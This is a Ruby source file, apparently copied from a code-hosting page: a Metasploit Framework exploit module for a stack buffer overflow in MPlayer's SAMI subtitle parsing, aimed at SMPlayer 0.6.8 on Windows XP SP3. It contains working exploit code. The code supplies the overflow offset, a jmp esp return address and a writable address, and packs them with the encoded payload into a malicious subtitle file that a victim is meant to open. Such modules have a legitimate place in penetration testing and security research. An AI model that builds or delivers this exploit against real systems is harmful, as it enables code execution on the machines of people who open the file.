105 lines
2.8 KiB
Ruby
105 lines
2.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MPlayer SAMI Subtitle File Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow found in the handling
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of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
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targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.
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The overflow is triggered when an unsuspecting victim opens a movie file first,
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followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
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be done from the console with the mplayer "-sub" option.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Jacques Louw', # Vulnerability Discovery and PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'BID', '49149' ],
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[ 'OSVDB', '74604' ],
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[ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 4000,
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'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',
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{
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'Offset' => 1033,
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'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc
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'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'May 19 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.smi']),
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], self.class)
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end
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# Split the subtitle to avoid mplayer complaining
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# about the line max length
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def sami_encode(s)
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r = ""
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i = 0
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while i < s.length
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r << s[i, 32]
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r << "\n"
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i += 32
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end
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r
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end
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def exploit
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sploit = rand_text(target['Offset'])
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sploit << [target.ret].pack("V")
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sploit << "\xeb\x06" # jmp short 0x8
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sploit << rand_text(2)
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sploit << [target['WritableAddress']].pack("V")
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sploit << payload.encoded
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sami = "<SAMI>\n"
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sami << "<BODY>\n"
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sami << "<SYNC Start=100550>\n"
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sami << sami_encode(sploit)
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sami << "</SYNC>\n"
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sami << "</BODY>\n"
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sami << "</SAMI>\n"
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(sami)
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end
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end
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